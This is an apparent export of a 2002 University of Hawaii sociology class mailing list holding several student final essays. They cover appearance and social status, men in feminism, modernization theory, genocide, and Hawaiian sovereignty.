conducted in the Psychological Bulletin stated that people that were attractive were judged to possess social skill and had the qualities to be more sociable and popular than someone that was less attractive. Social stratification is reflected in levels of wealth, education, or social standing. Physical appearance can be a quick way of judging people. Judgment comes from the human tendency to be competitive and create an identity. An individual can differentiate your social status just by looking at your form. Class stratification theorists see fashion as a way for the elite and upper-class to be distinguished. They want to be in a separate group from the middle and lower classes. This makes them harder to associate and communicate with because they seem to be classified as better people. Individuals that can be grouped in the upper social class think that it is wrong to interact with lower class citizens, because they aren’t seen as equal to the rich. The same goes for the lower class, they find it intimidating to associate with the upper class because they feel that they aren’t good enough and are looked down upon. The distinguishing factor is appearance, and appearance affects attitude. Poor physical appearance leads to a lowered opinion by others, which leads to lower popularity. Marvin Zuckerman in his book, Psychobiology of Personality, states that the ""lack of popularity may undermine self-esteem and self-confidence."" Business productivity is affected by physical appearance. In a business office it is appropriate to dress professionally. By looking neat, customers or clients will treat you in a qualified manner. The way an individual feels when dressed professionally helps them have the proper etiquette to represent the business. How you feel about yourself is the way that others are going to feel about you. In Hawaii, Fridays are known locally as “Aloha Fridays.” During this day, business workers, teachers, and all other professionals are encouraged to wear a casual aloha shirt or mu’u mu’u to work. By implementing this as a tradition on Fridays, workers are seen as less uptight and more apt to providing quality service. When looking for a job, appearance is a key factor on whether you will get the job or not. There are many books, websites, and video series’ that contribute to helping individuals prepare for a job interview. Although an employer is looking for credentials, a good physical appearance is also a plus. A few tips that they recommend when preparing to impress an employer is that your clothing be neat, clean, and pressed. Wear deodorant, use little or no perfume or cologne, have fresh breath and clean teeth, have clean groomed hair, and know where you’re interviewing so you don’t overdress. These factors draw desirable responses to physical appearance. Research shows that in many situations, attractive people are more social than those that are less attractive. This tendency can be accredited to the fact that they are reacting to their treatment by others. Attractive people draw more attention to themselves without even knowing it. An interesting finding that has surfaced is the conclusion that children are more responsive to attractive faces. Within their first three to six months of life, a baby prefers to look at attractive objects, preferably people. This study was conducted by concluded that these are some of the many ways that social relations are affected by appearance.Langolis, Ritter, Roggman, and Vaughn in 1991. In this study, infants look longer at attractive than at unattractive faces. When a baby reaches one year old, they take more active, positive responses to attractive people. Also at an early age, studies have shown that children pick who they want to play with on the standards of facial attractiveness and body form. There is an integrated human nature to attractiveness. In conclusion, appearance can be something that is seen as vain and superficial, but actually matters to everyone. Appearance greatly affects social interaction and how others view different individuals. By doing research and learning more about human behavior, social change, stratification, productivity growth, and individual responses to appearance it is. Bibliography Crane, Diane. Fashion and Its Social Agendas: Class Gender and Identity in Clothing., Chicago University Press., 2000. Davis, Fred. Herbert Blumer and The Study of Fashion: A Reminiscence and a Critique. Symbolic Interaction, 1991., pg. 14, 1-21. Eagly, A. H., Ashmore, R. D., Makhijani, M. G., & Longo, L. C., What is Beautiful is Good, but...: A Meta-Analytic Review of Research on the Physical Attractiveness Stereotype. Psychological Bulletin,1999., 110, 109-128. Fisher, S. Development and Structure of the Body Image. Hillsdale, NJ: Erlbaum. 1986. Kan-Softek Solutions Pvt. Ltd., BaharatTextile.com Library The Evolution of Fashion., < http://bharattextile.com/library/005004.php>. Langlois, John H., Ritter, J. M., Roggman, L. A., & Vaughn, L. S. (1991). Facial Diversity and Infant Preferences for Attractive Faces. Developmental Psychology, 1991., 31, 464-472. The Job Interview - Preparation – Dressing for an Interview., . UK Learning 2002., Improving Productivity in the Workplace., . Zuckerman, Marvin. Psychobiology of personality. New York: Cambridge University Press. 1991.",0,1 Laurie Ann Ramroth ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 08:18:37 -1000",[SOC100-L:499] laurie's final essay,"Laurie Ramroth 11 December, 2002 Final Paper Soc 100 Men and Feminism Throughout history women have been oppressed by men. The oppression is a social problem that affects all women, NOT just individuals. In the traditional patriarchal society women were forced to be dependent on men. When feminist movements first started, a man who allowed a women to work was rare. Women have come a long way in their struggle for social change. They now have the right to vote along with job opportunities that used to be unheard of. With all that they have gained women still feel oppressed by men. This is primarily in salaries. Women have spread the idea of feminism and some men today are actually labeling themselves as feminists. This at first is unbelievable. What? A person-let alone-a man looking beyond his own self interest? Am I in the twilight zone? This seems like such a breakthrough. Maybe there is hope after all. Feminists overall seem to be critical of the motivations of men claiming to resist socially constructed categories and labeling themselves as feminist. Society puts pressures on males and females to fit into socially constructed stereotypes. These stereotypes vary with different cultures. Typically, society wants men to be strong, domineering, and emotionless while women are supposed to be emotional, weak, passive, and thin, almost to the point of starvation. It’s really very sick. Modernization has left females striving for independence often single and raising a kid playing dual roles. They often go from a motherly figure at home to a strong almost possessing masculine qualities character in the workplace where they find they need to depend more on reason and be less emotional (another transition from traditional to modern). The capability of a woman to adapt easily if need be is amazing. This all goes along with the theory of modernization in that women and men are becoming more similar as women adapt to enter the workplace. A male feminist, Andrew Ross, explains the role of culturally constructed stereotypes in the case of Peter Sutcliffe, the Yorkshire Ripper. Between 1975 and 1981 this man was found to be the killer and mutilator of at least thirteen women and the attacker of at least seven others. Most of these women were prostitutes. This manhunt is one of the most costliest, extensive, and obsessive ones in police history. “The Ripper turned out to be a good-looking man, soft-spoken and courteous, intelligent, with a loving family background, a religious education, a good job, a nice house, a pretty wife, and even a mistress- in short, the perfect, virile man, socially, sexually, and emotionally well integrated.” (Andrew Ross Pg.52) Peter Sutcliffe’s actions and moral liability were the subject of one of the most revealing court trials in contemporary British social history. Sutcliffe was given a trial after a judge at the initial hearings was dissatisfied that Sutcliffe’s initial statements to police, and those made later in the course of psychiatric investigation conflicted. At the time of his arrest, Sutcliffe stated that he “had the urge to kill any woman.” Later, in statements made in court to support his plea of schizophrenic condition, Sutcliffe said he went on this killing spree as a divine mission from god to kill all prostitutes. According to the defense, Sutcliffe’s intent was to kill only prostitutes. he wanted to clean the streets of society. This trail had to redefine prostitutes and non-prostitutes, two groups that Sutcliffe intended to distinguish between but in deed and practice confused. In the end, Sutcliffe was punished for confusing theory with practice. In Sutcliffe’s first encounter with a prostitute he was mocked for his impotency. This made him feel feminine and he began directing his killing at prostitutes to prove his masculinity. This case shows how dangerous socially constructed categories. Socially constructed gender categories both determined his victims and drove him to kill. Given the typical stereotypes, men are expected to resist feminism, and feminists are often assumed to be man haters. There must be some influence that drives men from the typical societal construction of masculinity to becoming feminists. Certain forces seem to drive men to look outside of their own personal interest. Usually this starts with the presence of a kind female role model. For Tom Digby, this force was his mother. “My mother is one of the most caring and empathetic persons I have ever known.” His father felt it the mother’s responsibility to raise him. As a result, Tom’s mother had a profound influence on his life. “Many mother’s under such a circumstance feel they themselves must take on the responsibility of insuring that their boys become men-i.e., unlike themselves; instead my mother was more concerned that I become a good person.” (Tom Digby pg.4) His father is a kind, gentle man who didn’t encourage Tom at any point to prove his own manhood. “I think he just saw men’s efforts to prove their manhood as rather silly.” This caring mother coupled with a father that wasn’t bent on having a manly son began the molding of a feminist son. In junior high school, Tom served as a campaign manager to help a girl running for student body president, a position that had always been filled by a male. He gladly gave a speech for her at an assembly, which later won her the presidency. Through all of this he was really bothered by the unfairness of the gender discrimination he found his candidate faced. After this, Tom became more popular and was elected for several student leadership positions. From this he learned two important lessons, “(1) that there were means other than team sports to bolster my masculine status, and (2) that gender loyalty was not crucial to being a successful heterosexual.” This incident did not make Tom a feminist. It just opened the doors to his awareness of the oppression women are faced with. As one can imagine men doing feminism have sparked various reactions from female feminists Some female feminists support men doing feminism. These women feminists think it’s wonderful that men are supporting women and stepping beyond the constraints of masculinity. One such feminist is Sandra Harding. She believes that men are capable of thinking and coming up with new feminist ideas. She wants to encourage men to study feminism thinking that it is important for the movement to have the interest, to eventually end up at the ultimate goal, equality. Others are more critical of men doing feminism. They are frightened at the thought. One opposing reaction from a female feminist is that of Alice Jardine. “Men in feminism sent me scurrying for cover.” She classifies male feminists into three groups. The first group she refers to as the Silent Majority. This group consists of men who don’t read or take into account the work produced by feminists over the past twenty years. The second group of men is composed of visitors, those who come in and out of feminism without changing anything in the overall itinerary of their theory or practice. The third and final group of men are those that are actually trying to learn and change. Alice seems to have serious doubts of the hidden motivations that men may have for studying feminism. She thinks that if men really want to be feminists they should actually apply feminism to their everyday life. “You yourselves could stop being reactive to feminism and start being active feminists.” Female feminists in opposition think “a male cannot-can never-always tell the whole truth and nothing but the truth about his relationship to feminist discourse and praxis.” What is written on paper isn’t necessarily what the author really feels. This is the argument of the opposition! Another female feminist in opposition to men doing feminism is Rosi Braidotti. In her essay Envy: or With Your Brains and My Looks, she thinks men aren't and shouldn’t be in feminism. It’s apparent that she is very much threatened by the sex. She pulls a quote from The SCUM Manifesto by Valerie Solanis that says “The male is a biological accident; the Y (male) gene is an incomplete X gene, that is it has an incomplete set of chromosomes... Being an incomplete female, the male spends his life attempting to complete himself, to become female... The male, because of his obsession to compensate for not being female, combined with his inability to relate and to feel compassion, has made of the world a shitpile.” For some reason I think she would be classified as a radical feminist. Rosi doesn’t want egotistical males destroying feminism by becoming feminists when they lack the experience. Men were never oppressed. How can they know what it is like to be female? Why should they be able to breeze through feminist books and all the theories thereby declaring themselves feminists when they haven't had to go through any of the struggles. It worries her that men are coming into feminism when they don’t have the emotional attachment to it that women experience. In her opposition, she also refers to contextual constraints the movement is facing in France. She says “the sociopolitical impact of French feminism has not been strong enough for feminist theory, women’s studies, or women scholars to make anything like they impact they have had in the United States and in other Anglo-Saxon countries. In these countries resource mobilization is occurring. The United States government allows for social movements like these to form and be heard. The reaction of men feminists to their opposers vary. Paul Smith thinks that “men can be there to to help to subvert, unsettle, and undermine the (seemingly rather fast to settle) laws of the discourse.” (Men In Feminism Pg.157) Surprisingly, there are also some men who agree with women that say men have nothing unique to offer feminism. Cary Nelson is one male feminist that holds this viewpoint. “Men can make useful contributions, but feminism does not need either discursive interventions or generous admiration from the vantage point of a culturally constructed masculinity.” He thinks such interventions would be destructive. One of the main issues that was addressed repeatedly was that of “Can men really practice feminism?” After all, the two words, “men” and “feminism” seem paradoxical. Can a man really be a feminist? Is it right to bar them from feminist theory because some feminists feel threatened? Is it impossible for a men to be a feminist because of their lack of life experience? In the end, feminism wants equality. This can only be done if feminists start setting the example and allowing males to at least try and understand them. Whether they cna ever fully understand us females is highly unlikely but we have to at least allow them to try. Nothing is going to be accomplished if women are to stubborn to listen and teach males. To get the maximum out of a social group people must work together. Men shouldn’t be hated. This in the end will undermine the feminist movement in that it’s goal of equality will only be one sided. Hate directed towards men will not give them any more respect for our sex let alone turn them feminist. The sexes must work together. There are some male feminists that have been driven to practice feminism. This has sparked reactions from female feminists the world over. The feminist social movement that wanted socially contstructed gender catagories changed has made progress but still fights to achieve total equality in terms of salaries. Females are now facing this new issue of men doing feminism. Works Cited Digby, Tom “Men Doing Feminism” (1998) Alice Jardine & Paul Smith “Men In Feminism” (1987) ",0,0 Melanie Salvador ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 08:53:47 -1000",[SOC100-L:500] final paper,Tired of spam? Get advanced junk mail protection with MSN 8.,0,1 TEP0803@aol.com,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 11:02:52 -1000",[SOC100-L:501] essay,"Modernization: An Ideal World? Contradictions underlying the concepts involved in a ""modern"" society Talia Portner Sociology 100 Modernization. The intention of liberal democracy; one culture, one way of living, are these concepts actually what we, as the human race really want to define as our ""ideal world""? With these ideas comes the need to define the boundaries undermining what will be covered here, what is ideal? What is the theory of modernity, and what defines a modern society? The word ideal has such a spectrum of individual definitions. The Theory of Modernity discusses a grand scheme of social change. Predictions accompanied with this theory of social change involve cultural movements, political movements, and economic movements. Two types of theories are associated with modernity. The Modernity theory was predicted with two disciplines that interrelate the concepts involved in a ""modern"" society: the classical evolutionary theory and the functionalist theory [1]. The classical evolutionary theory which incorporates the logic that social change is unidirectional, this direction moves from a primitive state to an advanced state. The final phase is ""good"" because of what it represents: progress, humanity and civilization. These representatives are that of the Western European cultural measures. This theory is parallel with Darwin’s biological theory of evolution and when applied to social change it is shown that the rate of change is slow; a result of centuries of gradual variation. The functionalist theory depicts a human society like a biological organisms with different areas that correspond to different traditions of a society. The functionalists break up these regions into four main establishments needed to maintain a society: Adaptation to the environment, performed by capitalism which is the only economic system able to adapt to the environment. The second is goal attainment which is achieved by the government who pursues liberal ideas from English and French perspectives. The third involves integration from a legal and religious perspective…and more specific from a Judeo-Christian balance of values. The last institution encompassing the functionalist theory entails ""latency - the maintenance and transmission of values from generation to generation - performed by the family as an ahistorical basic human organization, and education."" [1] The modernization theory covers movement from the three categories of a society: culture, politics and economics. Within the cultural aspect of a society, modernity entails movement from a collective society filled with communities and groups of people to a society of individuals: families to individuals, acts of altruism to acts of selfishness, and decisions based on emotions shifted to those based on reason. On a political level, modernity encompasses the shift from a monarchy-based government to a democracy. This transformation entails predictions of warfare shifting to peace, the rule of the people moves to the rule of the law, and Inequality shifting to equality of people. In an economic outlook, the major concept evolves around the transformation from an agriculturally based world to a capitalist industry. Within this concept movements tread from poverty to wealth, equal and similar laborers to division of jobs and autarky to free trade. Economically, modernity represents movement from agriculture to industry and capitalization. This also implicates the movement of closed mobility systems to open mobility systems From a scientific stand point, as sociology can and is, the theories suggested here cannot and are not universal for every situation that exists in our world. But how is a theory proved incorrect or at least influenced to change? From the steps of natural science, only one example that proves a hypothesis incorrect is suffice to reject that hypothesis. Or more specific, a statistical test can be used to determine whether the hypothesis has significant proof to be accepted. The modernity theory exists in the minds of some sociologists yet the theory contains numerous contradictions that would, on a scientific level, be suffice to reject. In every aspect described for a society: cultural, political, and economic, there are contradictions as strong as there is evidence. The world is in constant change, as is the people of the world that make up societies. One contradiction lies in the movement towards equality. On a superficial level, one may think that this is the case, from Rosa Parks in the 1950’s to the equal opportunity rights and even Title nine. But their are underlying realities that will maintain a certain inequality. For example, on gender equality, the biological makeup of a male versus a female will define the functions of each for many generations to come because evolution is a gradual change in order to adapt to one’s environment. This is if the environment , as suggested by the modernity theory, will supply the needed variables to make male and female roles equal. As it maintains, the male sex is generally physically larger, stronger, faster and doesn’t have the uterus. On the other hand women have a softness, a nurturing physique and mentality that is needed to provide care for the offspring. These roles, although they can be substituted in Western culture by nannies, formula or wet nurses, and even by women who will carry someone else’s fertilized egg. In addition, there are steroids which can create women who perform similarly to men, but then can we call that a woman, they seem to have more male features than female features. This is not what the environment, our bodies and more are providing on a natural level. Why would one want to alter their roles as a human being? Adoption of cultural aspects from societies other that one’s own society has many implications. French and Italian cooking and fashions for example have ascended upon American culture for many decades, as has Asian culture influenced the Hawaiian Islands. American culture prides itself on freedom and liberty and individuality. These values are guarded by Americans and make America a desired homeland, yet so many of our American values and symbols that are considered part of America arise from other societies. One of the biggest uniqueness of American culture is that every person has come from somewhere else, brining unique and individual cultural aspects to America and practicing them here. America’s most desired and considered values, the one that makes America what it is and what it represents, is in fact this collaboration of various cultures from around the world. In Hawai’i, much of our state culture, besides Hawaiiana, is the influence of the Japanese. But is it just in our state, or has Japan’s influence reached the mainland as well? Indeed it has, with fast cars and cellular phones. Americans desire the best of everything , so they will take pieces of culture like good wine from those who have been producing for four hundred years , as their ideal, and fashion from Italy where leather and fashion was created, silk from China, music from Africa and so on. From all these pieces they can create and entirely new and unique culture. Along with this idea of American desire to obtain cultural aspects of ""highest quality"" from the nation that do it the best, part of American culture relies on the concept of individuality, uniqueness and in doing so (although many young Americans find alternative ways) is simply by guarding or keeping certain aspects from one’s ancestral background. Theses aspects could include making ""nana’s"" famous rolled cabbage every Sunday night as she did years ago. This is one of the most obvious contradictions in the modernization theory. Perhaps the definition of individualism is unclear. But how can a society claim they are becoming more individual when the theory they represent encompasses becoming one culture with one political view? This idea seems so ironic especially because America and the rest of the ""Western world"" prides itself on the diversity of individuals yet declares that in its movement to become modern, all of these special characteristics will be blended together. This contradiction also relates to our topic of social movements. The idea of social movements declare that groups of people, communities working together get more and are more productive than one individual, but how can that be advocated if defining our country means becoming an individual? Here the extremes of these concepts involved in modernity takes up farther into the crosses and ironies of the theory. In the ""Civil Society Debate"" article from class, Putman discusses the idea that "" American social capitalism declines…"" this goes against the grain of modernization, bringing back our sense of togetherness. Putman has a very liberal stance eon what is happening to societies who depend don independent growth and wealth versus those that utilize community emphasis and organizational work towards a common goal. My observations produce many frustrations involving the theory of modernization. The diversity and variability that is not only in the way different cultures view the world but the same variability within each one of the cultures of the same concept completely obstructs my thoughts. If we all become the same, one large catastrophe directed at the human race will obliterate everyone, there could be no survivors because we would all react the same. When diversity decreases the organisms in that environment die off. And the contradiction of individuality , one of the main aspects of modernization, in culture, economics and politics. How can a population reflect individuality when the definitions of their ""ideal"" world involved the word universalization"" The whole idea is very ironic, and from a biological perspective, all the variables that are associated with living and being human give rise to diversity. Diversity is what allows the earth to continue its cycle of life. REFERENCES: [1]www.irvl.net Developmental Studies: Strategies for industrialism [2]www.irn.pdx.edu Global stratification ",0,0 Robert Hughes ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 14:37:45 -1000",[SOC100-L:503] In the twentieth century millions upon millions of people have been exterminated by genocide,"In the twentieth century millions upon millions of people have been exterminated by genocide. It is quickly becoming an almost unique twentieth century phenomenon, and social scientists and sociologists still have yet to figure out why it occurs, where is it more likely to occur, and even the definitions of the term genocide. Why is this so and what affect will this and does this have on society as a whole. Though in history there have been some other cases of genocide as a result of wars and conquering empires razing enemy cities to the ground. What are some of the underlying basis for a particular culture or set of peoples to exterminate another set of peoples? In this paper I intend to show that genocide is not a phenomenon unique to the twentieth century and also that the underlying basis for genocide is wide ranging and cannot be placed under one single motive; also I intend to show that sociologists and the United Nations don't give genocide the attention it deserves and almost condone it by not producing a definition of it until the early twentieth century. First off a definition of genocide and the controversy surrounding current definitions may be useful. The U.N. in 1948 right after World War 2 defined genocide as the following: ""Genocide is the denial of the right of existence of entire human groups, as homicide is the denial of the right to live of individual human beings; such denial of the right of existence shocks the conscience of mankind, results in great losses to humanity in the form of cultural and other contributions represented by these groups, and is contrary to moral law and to the spirit and aims of the United Nations. Many instances of such crimes of genocide have occurred, when racial, religious, political and other groups have been destroyed, entirely or in part. The General Assembly Therefore, Affirms that genocide is a crime under international law which the civilized world condemns, and for the commission of which principals and accomplices-whether private individuals, public officials or statesmen, and whether the crime is committed on religious, racial, political, or any other grounds-are punishable."" The U.N. was pressed to do this because of the horrors coming out of Germany and Eastern Europe after the War. The term genocide was first coined and linked to other events by Ralph Lemkin in his book Axis Rule in Occupied Europe, which was published during World War 2. Lemkin's definition thought of genocide as, "" a composite of different acts of persecution or destruction ,"" which included attacks on political and social institutions, culture, language, national feelings, and the economic existence of a group. Lemkin even thought some forms of ethnocide were also genocide. The U.N. later went on to define genocide as, "" any of the following acts committed with intent to destroy, in whole or in part, a national, ethnical, racial, or religious group, as such: (a) Killing members of the group; (b) Causing serious bodily or mental harm to members of the group; (c) Deliberately inflicting on the group conditions of life calculated to bring about its physical destruction in whole or in part; (d) Imposing measures intended to prevent births within the group; (e) Forcibly transferring children of the group to another group."" How the United Nations definition differed with Lemkin's definition was that it downplayed ethnocide but put in, ""political and other groups,"" to Lemkin's list. But after the Soviet and Eastern bloc protested it the political and other groups part was dropped from the convention, "" because of their mutability and lack of distinguishing characteristics [political groups] did not lend themselves to definition, [which] would weaken and blur the whole Convention."" This is a key flaw especially when you have countries like the Soviet union and China imprisoning and killing supposed , "" enemies of the state."" The author's of the book The History and Sociology of Genocide Analyses and Case Studies, Frank Chalk and Kurt Jonassohn define genocide as, "" a form of one sided mass killing in which a state or other authority intends to destroy a group, as that group and membership in it are defined by the perpetrator."" So now definitions are out of the way for now we can talk about the history of genocide. If the definition of genocide is not so rigid then many instances in history could be classified as genocides. For example when Rome razed long time enemy Carthage this was thought of as normal war type behavior albeit cruel and destructive. Also when Genghis Khan invaded towns and killed every man woman and child, because the town put up resistance to the invaders and also to show other towns that Genghis was a bad guy and not to resist his invaders or else. These were thought of as side notes in history but they became a lot more than just side notes. Also many cultures in the past had human sacrifice and used human sacrifices to appease the gods and the blood lust of the gods. So religion could be a factor for genocide. Though religion also helped to cease the practice of human sacrifice, like when the Hebrews, "" who transformed the concept of life giving into self-giving."" ""Nigel Davies contends that once the ancient Hebrews came to see God as good and just, human sacrifice ceased. Also the witch persecutions and Spanish inquisition were also forms of genocide in Europe in the middle ages. Nationalities can also play a role, like the often forgotten Armenians and their persecution by the Ottoman Turks where a million and a half Armenians died and still to this day Turkey denies its existence of any wrong doing. Ascriptive characteristics play a big role in genocide, whether it be racial, ethnic, gender based, nationality based, or religiously based. All of these identity markers play a role. Victims are usually outside of the society perpetrating the genocide and then can be labeled them or the others. Countries try to dehumanize the people they want to oppress to make it easier for them as well as others to oppress them and treat them as not worthy of life. Also countries try to blame economic as well as social problems on the people they want to victimize. Like in Germany, which was, enjoying prosperity before World War 1 but after was put into a deep recession as the result of sanctions placed upon it by the victors of WW1. This sent Germany into an economic tailspin and the deutsch mark was worth virtually nothing. The German people were looking for someone to blame and found the Jews who probably were the easiest target. Conceptually there are four types of genocide the first being genocide to eliminate a threat, like the case in Rome where they razed Carthage. The second type of genocide is one carried out to terrorize real or potential enemies. Genghis Khan's killing entire towns is an example of this. Also the gulags in the former USSR are another example of this. The third example of this is genocide committed for economic gain. This is prevalent in Latin America and Cortez as well as in North America and European colonialism. The fourth type is different than the first three because there is no tangible benefit for the perpetrator. The fourth type of genocide is committed to implement a belief, theory, or ideology. This is prevalent in the case of the holocaust and the Nazi's who persecuted the Jews, Gypsies, and anyone else deemed unworthy of life. What did modernity and the sociologists who believe in modernity have to say about genocide and why that was becoming so prevalent in, ""modern and civilized western societies."" Most modernity theorists believed that as the world became more connected and as people became more individualistic peace would grow and wars would cease because it would be inefficient and so peace would be smarter and more efficient. But this did not happen as the world became more integrated countries started choosing sides in conflicts and world wars came about. Genocide also came about in a much more systematic and brutal way which focused on efficiency or killing as many people as you can in the shortest time possible. Did genocide lend itself to modernity well or was genocide just a perversion of the utopia that modernity theorists described. May be the flaw that sociologists and modernity theorists have is that man is a rational being capable of making rational choices given the lack of information about these choices. Why are people so appalled now when they hear of stories from the concentration camps or from the gulags? Does modernity have something to do with peoples sensibilities and what they consider barbaric, atrocious, or beyond comprehension. People are aghast when they see what the Germans did and what, ""modern and civilized,"" people are capable of. They think well maybe I too am capable of such monstrous inhuman behavior. Stanley Millgram did an experiment that showed that most people when told by an authority figure to inflict pain on someone else for a specific reason that they will do it. This counters sociologists' view of people becoming more peaceful as society becomes more modern. Maybe people become more inhuman as societies become more modern? Though many civilizations in the past have just disappeared and no one knows why, maybe some other culture wiped them out, we just don't know. The frequency and efficiency of these recent cases of genocide have alarmed many but it has become less shocking and people are becoming numb to the tales of horror and killings. Millgram's study showed that an alarming number of us (65 percent or more) are capable of harming someone else if an authority figure tells us to do so. This study was also shocking to people and some still refuse to accept its implications. Part of what governments did to turn their power into absolute power was to turn their people against each other; children were spying on their parents and probably the parents were spying on the kids or at least the older ones as well. So this would help support the idea that genocide relied on some of the ideas of individualism and modernity, where families were of less import than the individual person. So in a sense more modern societies lent themselves well to genocidal regimes. When the U.N. does nothing to stop regimes from committing genocide it condones it. The definition is important because countries use loopholes to not admit to having committed genocide and therefore are not punished or sanctioned by the United Nations. Countries like China and the former USSR can reject critics in the UN who claim that they have committed genocide because the UN left out political groups in the declaration. So the UN is partly to blame for letting genocide continue, but the matter is more complex than that. The U.N. walks a tight rope balancing between meddling in other countries messy battles and affairs and not getting involved. The former Yugoslavia is a example where the UN got involved and rounded up people and just handed them over to Milosevic's regime knowing that he was going to exterminate them. This is another serious problem and one the UN was reviewing. It is difficult to study genocide because they are usually hidden or covered up by the countries in question, but maybe sociologists and social psychologists can uncover the main cause or main causes of genocide and try to stop them before they occur or at least stop them before it is too late. Sources: The Roots of Evil the Origins of Genocide and Other Group Violence, Erving Staub, Cambridge University Press, 1989 The Sociology of Genocide Analyses and Case Studies, Frank Chalk and Kurt Jonassohn, Yale University Press Published in cooperation with the Montreal Institute for Genocide Studies, 1990 ",0,0 Matthew Lee Kubo ,soc100-l@hawaii.edu,"Wed, 11 Dec 2002 15:17:51 -1000",[SOC100-L:504] final essay,"here is my final essay. i hope it is easy to open for everyone. have a good vacation! mat. ",0,0 JiLLyGrRL84@aol.com,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 16:51:59 -1000",[SOC100-L:506] Jill Genciana - FINAL,"Hawaiian Sovereignty: Feasible or Not? In my eyes, Hawaii has always seemed like the perfect state: beautiful scenery, tropical weather and, the one that sticks out the most, harmony between everyone. All races and cultures here ban together to form this group we call ""local."" Thus, various forms of competing identities here in the islands can be best described as being pan-ethical. Although even us ""locals"" do not really know exactly what being local entails, there is a general belief that if you have been living in the islands for quite some time and have adapted the islands' norms, then you are local. In addition, because of the plantation era, Chinese, Japanese, Portuguese, Filipino, etc. had to find common grounds and come together to withstand the harsh treatment by the plantation owners. Thus, identity in Hawaii is circumstantial, not primordial. However, the issue of Hawaiian Sovereignty has been in the minds of the people of Hawaii even before the plantation era, for over more than one hundred years. Since the overthrow (1893) of the last monarch, Queen Liliuokalani, the Hawaiian people have been seeking retribution. With marches, lawsuits, and disobediences by our own government officials, this social movement is the most controversial issue of the islands. With this social movement, along with collective action, the idea of non-Hawaiians, even ""locals,"" being forced out is an issued raised by many residing people in Hawaii. Because of modernity, blanketed by the power of the global context of the economical status of Hawaii, it is going to be very hard for Hawaii to become sovereign. There are so many different ethnicities in Hawaii that it will be hard for the indigenous people to gain the support needed to reclaim the islands. Also, Hawaii has become too dependent on the US and its technologies to just sever itself from them. Thus, I believe that Hawaiian sovereignty is just not feasible. In the context of global economy, Hawaii's economy today has been in a downward spiral for some time now. With the depleting interest in agriculture, the growth of the international labor market and the chronic dependency Hawaii has had on tourism, the economy has made life here too difficult and expensive. With the closing of the Waialua Sugar Co., the last major sugar plantation in the islands, I fear that the interest in agriculture will totally come to an end. Even with the new developments and ideas to use the land for diversified farming, will it really be so significant that it will take some of the ""heat"" off tourism and diversify the economy? I think not. Yes, Hawaii does have other means of agriculture and other venues of businesses, but they are not as influential or prominent as tourism. If government, or maybe even the US, can somehow figure out how to make these significant venues (i.e. advances in research by the University of Hawaii, the interest in Hawaii's geology, etc.) as beneficial to our economy as tourism is, then I believe that Hawaii would not be such a bad place to live (economically). And yes, it is also true that Hawaii has become commercialized in a way that it exploits Hawaiian culture because of tourism, but there are other ways in which the native Hawaiians can perpetuate their culture. Such examples, like those in Ira Rohter's A Green Economy for Hawaii, may include, but not limited to, are homegrown tours, plantation villages (not like PCC), arts, etc. Hawaii can hire native Hawaiians to lead these proceedings, like hiking on homegrown tours, to teach others, especially tourists, about the history of Hawaii. Thus the relevance that global economy plays a part in the feasibility of the Hawaiian sovereig nty movement; Hawaii can move along with modernity and globalization, without having to force non-Hawaiians out, if we just find ways to perpetuate the culture through things like the economic suggestions I mentioned above. This way, native Hawaiians somewhat ""reclaim"" the land and culture, while people of non-Hawaiian backgrounds can still reside here and enjoy it also. If the native people gain full independence, how will Hawaii survive economically? Since it is the pacific hub of the global economy, it is crucial that Hawaii have an economically superior country to back it up, for example, the US. Also, the US has many economic ties with many other countries, for example, with free trade, multinational corporations, and the growth of the international labor market. I would predict that Hawaii's economy would not do so well without the help of the US, thus sovereignty would be very doubtful for Hawaii's future. Identity has also be a longstanding issue in Hawaii as well as in the Hawaiian Sovereignty movement. In Lee Cataluna's article, ""Who's more Hawaiian is now a question of power,"" many questions were raised that I never really thought about. I, too, agree that since people have different definitions no one actually knows if they themselves are local or Hawaiian. ""Who's Hawaiian? Who's more Hawaiian than Hawaiian? Who's not Hawaiian enough? Should an Asian or Haole person, who has lived in the islands for decades, be considered Hawaiian? Who is entitled to what 'benefits?'"" All of these are the questions that are all thought about, but never really discussed. Perhaps, if people actually came to a compromise as to whom is Hawaiian or what local is, it would not be as controversial as many people put it to be. In an interview with Lyndon Suzawa, a 38-year-old Electrical technician who was born and raised in Oahu's very own Kaimuki, I gathered that he, a person of Japanese decent only, knew a great deal of things about the Hawaiian culture. ""Yeah, I used to dance hula, boogie board, everything. I even used to cut school just so I could paddle canoe!"" Lyndon also said (on a more serious note) that he disagrees with the sovereignty movement. ""If we leave the security of the US, Hawaii would become prone to attacks of war for ownership. Hawaii's geography is very important to the surrounding Pacific islands and countries, and there is no way that Hawaii can escape that."" So where does Lyndon fall? Although he is 100% Japanese, it seems that he has adapted to norms and customs of Hawaiian people. In another interview, with my father, Totchie Genciana, a 53-year-old butcher and manager of the meat department of The Waianae Store, I found another person's opinion against the idea of sovereignty. My father argues that although he emigrated from the Philippines, he has lived here for almost 30 years and has adapted the norms of the Hawaiian culture as well. ""I speak pidgin, I know how to cook laulau, and I have many friends of Hawaiian ancestry - how much more local can I get?! It's not fair that people who have lived here their entire lives may have to move just because they have no Hawaiian in their blood, while those who have 1/16th of Hawaiian or know nothing of their own culture gets to stay."" With opinions like these we can see that the support for sovereignty is just not there. So what would happen to Lyndon and my father if sovereignty would take place? According to Anthony Castanha's The Hawaiian Sovereignty Movement: Roles of and Impacts on Non-Hawaiians, the most beneficial models of sovereignty are free association and full independence. Citizenship, home, land and business ownership and other benefits are at least obtainable in these models. But what if Hawaii undergoes the models of state-within-a-state or nation-within-a-nation? Hawaii is too dependent on other cultures besides it's native to put limitations on non-Hawaiians' citizenship, home, land and business ownership, and leadership postions. By putting limitations, those of non-Hawaiian ancestry, even if they may be ""local,"" may want to leave the islands on their own free will. This means more ""brain-drain"" episodes, loss of consumers as well as support. Before Governor Waihe'e's monumental act of raising the Hawaiian flag over the state capitol on the one-hundredth anniversary of the overthrow, it seems to me that no one cared so deeply as they do now about sovereignty. Only after this act, as well as the resolution signed by former president Bill Clinton that stated apology to the Hawaiians for the overthrow, that people took an active stand for sovereignty. Thus, I believe that this social movement is a result of Social Contagion. One person, Waihe'e, acted out his opinions on sovereignty, thus creating a chain of mass frenzy in the islands. People immediately imitated one another, passing on this frenzy and anger by word of mouth. Social Contagion 